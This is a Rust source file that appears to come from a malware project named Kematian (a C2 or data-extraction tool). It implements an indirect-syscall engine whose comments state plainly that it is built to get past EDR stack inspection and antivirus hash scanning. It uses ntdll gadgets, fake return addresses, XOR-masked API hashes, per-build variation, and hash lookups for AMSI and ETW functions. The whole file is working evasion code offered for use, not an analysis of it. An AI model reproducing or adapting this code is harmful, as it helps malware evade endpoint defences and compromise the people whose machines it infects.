Files
kematianc2/Kematian-Standalone/rust-extractor/src/syscall.rs
T
2026-08-27 11:23:01 -06:00

492 lines
17 KiB
Rust

//! Indirect syscall engine (v2) — ntdll-gadget execution.
//!
//! Executing `syscall` inside our own code section is exactly what EDR
//! stack-inspection looks for: a syscall whose return address points outside
//! ntdll. This engine instead:
//!
//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs
//! (`4C 8B D1 B8 <nr> ... 0F 05 C3`) using verified-correct ror-hashes.
//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8,
//! its `ret` at +10 — the privileged instruction executes from ntdll's
//! text section, never from ours.
//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return
//! address visible on the stack during the syscall points INTO ntdll;
//! a second `ret` gadget there hands control back to our continuation.
//! 4. Falls back to a direct in-place syscall only if every candidate stub
//! is hooked (in which case we are already detected anyway).
//!
//! Per-build variance: which stub hosts the gadgets is selected by
//! `gen::SYSCALL_TRAMP`.
#![allow(unused_assignments)]
use core::arch::asm;
use core::ffi::c_void;
use crate::antihook;
use crate::gen;
// ---------------------------------------------------------------------------
// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive).
// Verified against apires::hash_ascii / hash_wide.
//
// The constants are stored XORed with HASH_KEY so the raw ror-hash values
// never appear in `.rodata` or as immediates (AV scans for known NT API-hash
// tables). `r()` unmasks them at runtime.
// ---------------------------------------------------------------------------
/// XOR key applied to every stored API hash (fixed, so artifacts agree on the
/// decoding); the *effective* hashes stay per-build through gen-mixed strings
/// elsewhere.
pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
/// Unmask a stored (scrambled) API hash.
///
/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the
/// raw value at compile time — the recovery happens at runtime, so the real
/// API-hash constant never appears in the binary.
#[inline(always)]
pub fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY;
pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY;
pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY;
pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY;
pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY;
pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY;
/// Wide-name hash of "amsi.dll" (matches apires::hash_wide).
pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY;
/// Syscall numbers resolved at runtime from ntdll stubs.
#[derive(Clone, Copy)]
pub struct SyscallNumbers {
pub nt_protect_virtual_memory: u16,
pub nt_query_virtual_memory: u16,
pub nt_allocate_virtual_memory: u16,
pub nt_free_virtual_memory: u16,
pub nt_create_thread_ex: u16,
pub nt_query_information_process: u16,
pub nt_set_information_process: u16,
pub nt_query_system_information: u16,
pub nt_read_virtual_memory: u16,
pub nt_write_virtual_memory: u16,
pub ldr_load_dll: u16,
pub nt_delay_execution: u16,
}
static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers {
nt_protect_virtual_memory: 0,
nt_query_virtual_memory: 0,
nt_allocate_virtual_memory: 0,
nt_free_virtual_memory: 0,
nt_create_thread_ex: 0,
nt_query_information_process: 0,
nt_set_information_process: 0,
nt_query_system_information: 0,
nt_read_virtual_memory: 0,
nt_write_virtual_memory: 0,
ldr_load_dll: 0,
nt_delay_execution: 0,
};
// ---------------------------------------------------------------------------
// Gadget discovery
// ---------------------------------------------------------------------------
/// A clean ntdll stub yields two gadget addresses:
/// syscall_gadget = stub + 8 (`0F 05`)
/// ret_gadget = stub + 10 (`C3`)
#[derive(Clone, Copy)]
struct Gadgets {
syscall_gadget: usize,
ret_gadget: usize,
}
static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 };
/// Extract the service number embedded in an ntdll stub.
unsafe fn stub_syscall_number(addr: usize) -> Option<u16> {
let mut buf = [0u8; 12];
antihook::read_bytes_pub(addr, &mut buf);
if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 {
Some(u16::from_le_bytes([buf[4], buf[5]]))
} else {
None
}
}
/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation.
fn stub_candidates() -> [u32; 5] {
let base = [
r(HASH_NTDELAY_EXECUTION),
r(HASH_NTQUERY_SYSTEM_INFORMATION),
r(HASH_NTWRITE_VIRTUAL_MEMORY),
r(HASH_NTQUERY_INFORMATION_PROCESS),
r(HASH_NTREAD_VIRTUAL_MEMORY),
];
let rot = (gen::SYSCALL_TRAMP as usize) % base.len();
let mut out = [0u32; 5];
for i in 0..base.len() {
out[i] = base[(i + rot) % base.len()];
}
out
}
/// Resolve syscall numbers + pick clean gadget-hosting stubs.
pub unsafe fn init_syscall_numbers() {
let ntdll = crate::apires::ntdll_base();
if ntdll == 0 {
return;
}
macro_rules! resolve_num {
($hash:expr, $field:ident) => {
if let Some(addr) = antihook::resolve_export(r($hash)) {
if let Some(n) = stub_syscall_number(addr) {
SYSCALL_NUMS.$field = n;
}
}
};
}
resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory);
resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory);
resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory);
resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory);
resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex);
resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process);
resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process);
resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information);
resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory);
resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory);
resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll);
resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution);
// Pick a clean gadget host: unhooked AND byte-verified stub shape.
for &hash in stub_candidates().iter() {
if let Some(addr) = antihook::resolve_export(hash) {
if addr != 0 && !antihook::is_address_hooked(addr) {
let mut probe = [0u8; 12];
antihook::read_bytes_pub(addr, &mut probe);
// mov r10,rcx | mov eax,imm32 | syscall | ret
if probe[0] == 0x4C
&& probe[1] == 0x8B
&& probe[2] == 0xD1
&& probe[3] == 0xB8
&& probe[8] == 0x0F
&& probe[9] == 0x05
&& probe[10] == 0xC3
{
GADGETS = Gadgets {
syscall_gadget: addr + 8,
ret_gadget: addr + 10,
};
break;
}
}
}
}
}
pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers {
if SYSCALL_NUMS.nt_protect_virtual_memory == 0
&& SYSCALL_NUMS.nt_delay_execution == 0
{
init_syscall_numbers();
}
&SYSCALL_NUMS
}
#[inline]
unsafe fn gadgets() -> (usize, usize) {
let g = core::ptr::addr_of!(GADGETS).read();
(g.syscall_gadget, g.ret_gadget)
}
// ---------------------------------------------------------------------------
// Indirect syscall wrappers - ntdll-gadget + fake-return layout.
//
// Register plan (ABI-safe, Windows x64):
// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually
// rdi : syscall gadget address (callee-saved => read-only use)
// rsi : ret gadget address (callee-saved => read-only use)
// r12 : syscall number (callee-saved => read-only use)
// r13/r14 : optional args 5/6 (callee-saved => read-only use)
// r11 : internal scratch (volatile, kernel-clobbered anyway)
// eax : NTSTATUS out
//
// Rust forbids referencing explicit-register operands in asm templates, so
// every value enters through a fixed callee-saved register hardcoded in the
// template text. LLVM keeps those values alive until the block consumes them.
//
// Stack contract at `jmp rdi` (syscall gadget):
// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address"
// [rsp+8] = real continuation label
// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there ->
// that `ret` pops our continuation. Stack ends balanced.
// ---------------------------------------------------------------------------
/// 4-arg indirect syscall.
#[inline]
pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, r12d",
"syscall",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
lateout("rax") status,
out("r11") _,
);
status
}
/// 6-arg indirect syscall (args 5/6 via kernel stack slots).
/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so
/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time.
#[inline]
pub unsafe fn sys_indirect6(
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize,
) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"sub rsp, 0x30",
"mov [rsp+0x28], r13",
"mov [rsp+0x30], r14",
"mov r10, rcx",
"mov eax, r12d",
"syscall",
"add rsp, 0x30",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num, in("r13") a5, in("r14") a6,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"sub rsp, 0x28",
"mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push
"mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
"add rsp, 0x28",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
in("r13") a5,
in("r14") a6,
lateout("rax") status,
out("r11") _,
);
status
}
/// 5-arg indirect syscall (arg 5 on kernel stack slot).
/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at
/// kernel-required [rsp+0x28] at syscall time.
#[inline]
pub unsafe fn sys_indirect5(
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"sub rsp, 0x28",
"mov [rsp+0x28], r13",
"mov r10, rcx",
"mov eax, r12d",
"syscall",
"add rsp, 0x28",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num, in("r13") a5,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"sub rsp, 0x18",
"mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
"add rsp, 0x18",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
in("r13") a5,
lateout("rax") status,
out("r11") _,
);
status
}
// ---------------------------------------------------------------------------
// Typed public wrappers
// ---------------------------------------------------------------------------
#[inline]
fn current_process() -> usize {
usize::MAX // (HANDLE)-1 pseudo-handle
}
pub unsafe fn sys_nt_protect_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
region_size: *mut usize,
new_protect: u32,
old_protect: *mut u32,
) -> i32 {
let num = get_syscall_numbers().nt_protect_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, region_size as usize,
new_protect as usize, 0, old_protect as usize)
}
pub unsafe fn sys_nt_allocate_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
zero_bits: usize,
region_size: *mut usize,
allocation_type: u32,
protect: u32,
) -> i32 {
let num = get_syscall_numbers().nt_allocate_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, zero_bits,
region_size as usize, allocation_type as usize, protect as usize)
}
pub unsafe fn sys_nt_free_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
region_size: *mut usize,
free_type: u32,
) -> i32 {
let num = get_syscall_numbers().nt_free_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize)
}
pub unsafe fn sys_nt_query_information_process(
process_handle: usize,
info_class: u32,
info: *mut c_void,
info_len: u32,
return_len: *mut u32,
) -> i32 {
let num = get_syscall_numbers().nt_query_information_process as u32;
if num == 0 { return -1; }
sys_indirect5(num, process_handle, info_class as usize, info as usize,
info_len as usize, return_len as usize)
}
pub unsafe fn sys_nt_set_information_process(
process_handle: usize,
info_class: u32,
info: *mut c_void,
info_len: u32,
) -> i32 {
let num = get_syscall_numbers().nt_set_information_process as u32;
if num == 0 { return -1; }
sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize)
}
pub unsafe fn sys_nt_query_system_information(
info_class: u32,
info: *mut c_void,
info_len: usize,
return_len: *mut usize,
) -> i32 {
let num = get_syscall_numbers().nt_query_system_information as u32;
if num == 0 { return -1; }
sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize)
}
pub unsafe fn sys_nt_query_virtual_memory(
process_handle: usize,
base_address: *const c_void,
info_class: u32,
info: *mut c_void,
info_len: usize,
return_len: *mut usize,
) -> i32 {
let num = get_syscall_numbers().nt_query_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, info_class as usize,
info as usize, info_len, return_len as usize)
}
pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 {
let num = get_syscall_numbers().nt_delay_execution as u32;
if num == 0 { return -1; }
sys_indirect4(num, alertable as usize, interval as usize, 0, 0)
}
/// Current-process pseudo-handle helper for external users.
pub fn cur_process() -> usize {
current_process()
}